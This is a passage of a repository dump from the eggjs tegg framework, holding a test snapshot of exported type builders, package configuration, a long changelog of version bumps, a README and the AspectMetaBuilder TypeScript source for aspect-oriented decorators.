\"ReadonlyRemove\": [Function],\n  \"ReadonlyRemoveAction\": [Function],\n  \"ReadonlyType\": [Function],\n  \"ReadonlyTypeDeferred\": [Function],\n  \"ReadonlyTypeInstantiate\": [Function],\n  \"Record\": [Function],\n  \"RecordConstruct\": [Function],\n  \"RecordDeferred\": [Function],\n  \"RecordFromPattern\": [Function],\n  \"RecordInstantiate\": [Function],\n  \"RecordKey\": [Function],\n  \"RecordOptions\": [Function],\n  \"RecordPattern\": [Function],\n  \"RecordValue\": [Function],\n  \"Ref\": [Function],\n  \"RefInstantiate\": [Function],\n  \"Refine\": [Function],\n  \"RefineAdd\": [Function],\n  \"Required\": [Function],\n  \"RequiredArray\": [Function],\n  \"RequiredDeferred\": [Function],\n  \"RequiredInstantiate\": [Function],\n  \"Rest\": [Function],\n  \"ResultDisjoint\": \"disjoint\",\n  \"ResultEqual\": \"equal\",\n  \"ResultLeftInside\": \"left-inside\",\n  \"ResultRightInside\": \"right-inside\",\n  \"ReturnType\": [Function],\n  \"ReturnTypeDeferred\": [Function],\n  \"ReturnTypeInstantiate\": [Function],\n  \"Script\": [Function],\n  \"String\": [Function],\n  \"StringKey\": \"^.*$\",\n  \"StringPattern\": \".*\",\n  \"Symbol\": [Function],\n  \"TemplateLiteral\": [Function],\n  \"TemplateLiteralCreate\": [Function],\n  \"TemplateLiteralDecode\": [Function],\n  \"TemplateLiteralDeferred\": [Function],\n  \"TemplateLiteralEncode\": [Function],\n  \"TemplateLiteralFinite\": [Function],\n  \"TemplateLiteralFromString\": [Function],\n  \"TemplateLiteralFromTypes\": [Function],\n  \"This\": [Function],\n  \"TransformEnum\": {\n    \"toEnumCase\": \"toEnumCase\",\n    \"toLowerCase\": \"toLowerCase\",\n    \"toUpperCase\": \"toUpperCase\",\n    \"trim\": \"trim\",\n    \"trimEnd\": \"trimEnd\",\n    \"trimLeft\": \"trimLeft\",\n    \"trimRight\": \"trimRight\",\n    \"trimStart\": \"trimStart\",\n  },\n  \"Tuple\": [Function],\n  \"TupleOptions\": [Function],\n  \"Type\": {\n    \"Any\": [Function],\n    \"Array\": [Function],\n    \"AsyncIterator\": [Function],\n    \"Awaited\": [Function],\n    \"Base\": [Function],\n    \"BigInt\": [Function],\n    \"Boolean\": [Function],\n    \"Call\": [Function],\n    \"Capitalize\": [Function],\n    \"Codec\": [Function],\n    \"Conditional\": [Function],\n    \"Constructor\": [Function],\n    \"ConstructorParameters\": [Function],\n    \"Cyclic\": [Function],\n    \"Decode\": [Function],\n    \"DecodeBuilder\": [Function],\n    \"Encode\": [Function],\n    \"EncodeBuilder\": [Function],\n    \"Enum\": [Function],\n    \"Evaluate\": [Function],\n    \"Exclude\": [Function],\n    \"Extends\": [Function],\n    \"ExtendsResult\": {\n      \"ExtendsFalse\": [Function],\n      \"ExtendsTrue\": [Function],\n      \"ExtendsUnion\": [Function],\n      \"IsExtendsFalse\": [Function],\n      \"IsExtendsTrue\": [Function],\n      \"IsExtendsTrueLike\": [Function],\n      \"IsExtendsUnion\": [Function],\n    },\n    \"Extract\": [Function],\n    \"Function\": [Function],\n    \"Generic\": [Function],\n    \"Identifier\": [Function],\n    \"Immutable\": [Function],\n    \"Index\": [Function],\n    \"Infer\": [Function],\n    \"InstanceType\": [Function],\n    \"Instantiate\": [Function],\n    \"Integer\": [Function],\n    \"Interface\": [Function],\n    \"Intersect\": [Function],\n    \"IsAny\": [Function],\n    \"IsArray\": [Function],\n    \"IsAsyncIterator\": [Function],\n    \"IsBase\": [Function],\n    \"IsBigInt\": [Function],\n    \"IsBoolean\": [Function],\n    \"IsCall\": [Function],\n    \"IsCodec\": [Function],\n    \"IsConstructor\": [Function],\n    \"IsCyclic\": [Function],\n    \"IsEnum\": [Function],\n    \"IsFunction\": [Function],\n    \"IsGeneric\": [Function],\n    \"IsIdentifier\": [Function],\n    \"IsImmutable\": [Function],\n    \"IsInfer\": [Function],\n    \"IsInteger\": [Function],\n    \"IsIntersect\": [Function],\n    \"IsIterator\": [Function],\n    \"IsKind\": [Function],\n    \"IsLiteral\": [Function],\n    \"IsNever\": [Function],\n    \"IsNull\": [Function],\n    \"IsNumber\": [Function],\n    \"IsObject\": [Function],\n    \"IsOptional\": [Function],\n    \"IsParameter\": [Function],\n    \"IsPromise\": [Function],\n    \"IsReadonly\": [Function],\n    \"IsRecord\": [Function],\n    \"IsRef\": [Function],\n    \"IsRefine\": [Function],\n    \"IsRest\": [Function],\n    \"IsSchema\": [Function],\n    \"IsString\": [Function],\n    \"IsSymbol\": [Function],\n    \"IsTemplateLiteral\": [Function],\n    \"IsThis\": [Function],\n    \"IsTuple\": [Function],\n    \"IsUndefined\": [Function],\n    \"IsUnion\": [Function],\n    \"IsUnknown\": [Function],\n    \"IsUnsafe\": [Function],\n    \"IsVoid\": [Function],\n    \"Iterator\": [Function],\n    \"KeyOf\": [Function],\n    \"Literal\": [Function],\n    \"Lowercase\": [Function],\n    \"Mapped\": [Function],\n    \"Module\": [Function],\n    \"Never\": [Function],\n    \"NonNullable\": [Function],\n    \"Null\": [Function],\n    \"Number\": [Function],\n    \"Object\": [Function],\n    \"Omit\": [Function],\n    \"Optional\": [Function],\n    \"Options\": [Function],\n    \"Parameter\": [Function],\n    \"Parameters\": [Function],\n    \"Partial\": [Function],\n    \"Pick\": [Function],\n    \"Promise\": [Function],\n    \"Readonly\": [Function],\n    \"ReadonlyType\": [Function],\n    \"Record\": [Function],\n    \"RecordKey\": [Function],\n    \"RecordKeyAsPattern\": [Function],\n    \"RecordValue\": [Function],\n    \"Ref\": [Function],\n    \"Refine\": [Function],\n    \"Required\": [Function],\n    \"Rest\": [Function],\n    \"ReturnType\": [Function],\n    \"Script\": [Function],\n    \"String\": [Function],\n    \"Symbol\": [Function],\n    \"TemplateLiteral\": [Function],\n    \"This\": [Function],\n    \"Tuple\": [Function],\n    \"Uncapitalize\": [Function],\n    \"Undefined\": [Function],\n    \"Union\": [Function],\n    \"Unknown\": [Function],\n    \"Unsafe\": [Function],\n    \"Uppercase\": [Function],\n    \"Void\": [Function],\n  },\n  \"TypeScriptEnumToEnumValues\": [Function],\n  \"Uncapitalize\": [Function],\n  \"UncapitalizeDeferred\": [Function],\n  \"UncapitalizeInstantiate\": [Function],\n  \"Undefined\": [Function],\n  \"Union\": [Function],\n  \"UnionOptions\": [Function],\n  \"Unknown\": [Function],\n  \"Unsafe\": [Function],\n  \"Uppercase\": [Function],\n  \"UppercaseDeferred\": [Function],\n  \"UppercaseInstantiate\": [Function],\n  \"Void\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/ajv-decorator/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\nit('should export stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/ajv-decorator/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/ajv-decorator/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/aop-decorator/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n\n### Features\n\n* add get/set for AdviceContext ([#297](https://github.com/eggjs/tegg/issues/297)) ([c299495](https://github.com/eggjs/tegg/commit/c299495b9407ec07b0a6e257d755d3d6f937d320))\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n\n### Features\n\n* impl GlobalGraph build hook ([#246](https://github.com/eggjs/tegg/issues/246)) ([48fce45](https://github.com/eggjs/tegg/commit/48fce4512e99259ec26a9b032bfcc9f4046ad235))\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.9.0](https://github.com/eggjs/tegg/compare/v3.8.0...v3.9.0) (2023-06-20)\n\n\n### Features\n\n* implement advice params ([76ec8ad](https://github.com/eggjs/tegg/commit/76ec8ad7b7170a637e59d74d49c1f00d8a201321))\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* fix file path for advice decorator ([#64](https://github.com/eggjs/tegg/issues/64)) ([d6aa091](https://github.com/eggjs/tegg/commit/d6aa091851b5d1ca63e7e56e081df4d15ab3284e))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Bug Fixes\n\n* fix file path for advice decorator ([#64](https://github.com/eggjs/tegg/issues/64)) ([d6aa091](https://github.com/eggjs/tegg/commit/d6aa091851b5d1ca63e7e56e081df4d15ab3284e))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/aop-decorator\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n\n### Features\n\n* impl aop ([c53df00](https://github.com/eggjs/tegg/commit/c53df001d1455a0a105689694775d880541d9d2f))\n"
  },
  {
    "path": "tegg/core/aop-decorator/README.md",
    "content": "# `@eggjs/aop-decorator`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/aop-decorator.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/aop-decorator.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/aop-decorator\n[snyk-image]: https://snyk.io/test/npm/@eggjs/aop-decorator/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/aop-decorator\n[download-image]: https://img.shields.io/npm/dm/@eggjs/aop-decorator.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/aop-decorator\n\n# Usage\n\nPlease read [@eggjs/aop-plugin](../../plugin/aop/README.md)\n"
  },
  {
    "path": "tegg/core/aop-decorator/package.json",
    "content": "{\n  \"name\": \"@eggjs/aop-decorator\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg aop decorator\",\n  \"keywords\": [\n    \"aop\",\n    \"egg\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/aop-decorator\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/aop-decorator\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/AspectMetaBuilder.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { CrosscutAdviceFactory } from './CrosscutAdviceFactory.ts';\nimport { Aspect, AspectBuilder } from './model/index.ts';\nimport { PointcutAdviceInfoUtil } from './util/index.ts';\n\nexport class AspectMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n  private readonly crosscutAdviceFactory: CrosscutAdviceFactory;\n\n  constructor(\n    clazz: EggProtoImplClass,\n    options: {\n      crosscutAdviceFactory: CrosscutAdviceFactory;\n    },\n  ) {\n    this.clazz = clazz;\n    this.crosscutAdviceFactory = options.crosscutAdviceFactory;\n  }\n\n  build(): Array<Aspect> {\n    const aspectList: Array<Aspect> = [];\n    const methods = AspectMetaBuilder.getAllMethods(this.clazz);\n    for (const method of methods) {\n      const aspect = this.doBuildMethodAspect(method);\n      if (aspect) {\n        aspectList.push(aspect);\n      }\n    }\n    return aspectList;\n  }\n\n  static getAllMethods(clazz: EggProtoImplClass): PropertyKey[] {\n    const methodSet = new Set<string>();\n    function getMethods(obj: any) {\n      if (obj) {\n        const propDescs = Object.getOwnPropertyDescriptors(obj);\n        for (const [name, desc] of Object.entries(propDescs)) {\n          if (desc.value instanceof Function) {\n            methodSet.add(name);\n          }\n        }\n        getMethods(Object.getPrototypeOf(obj));\n      }\n    }\n\n    getMethods(clazz.prototype);\n\n    return Array.from(methodSet);\n  }\n\n  private doBuildMethodAspect(method: PropertyKey): Aspect | undefined {\n    const crosscutAdviceList = this.crosscutAdviceFactory.getAdvice(this.clazz, method);\n    // decorator execute in reverse order\n    const pointcutAdviceList = PointcutAdviceInfoUtil.getPointcutAdviceInfoList(this.clazz, method);\n    if (!crosscutAdviceList.length && !pointcutAdviceList.length) return;\n    const aspectBuilder = new AspectBuilder(this.clazz, method);\n    for (const advice of crosscutAdviceList) {\n      aspectBuilder.addAdvice(advice);\n    }\n    for (const advice of pointcutAdviceList) {\n      aspectBuilder.addAdvice(advice);\n    }\n    return aspectBuilder.build();\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-decorator/src/CrosscutAdviceFactory.ts",
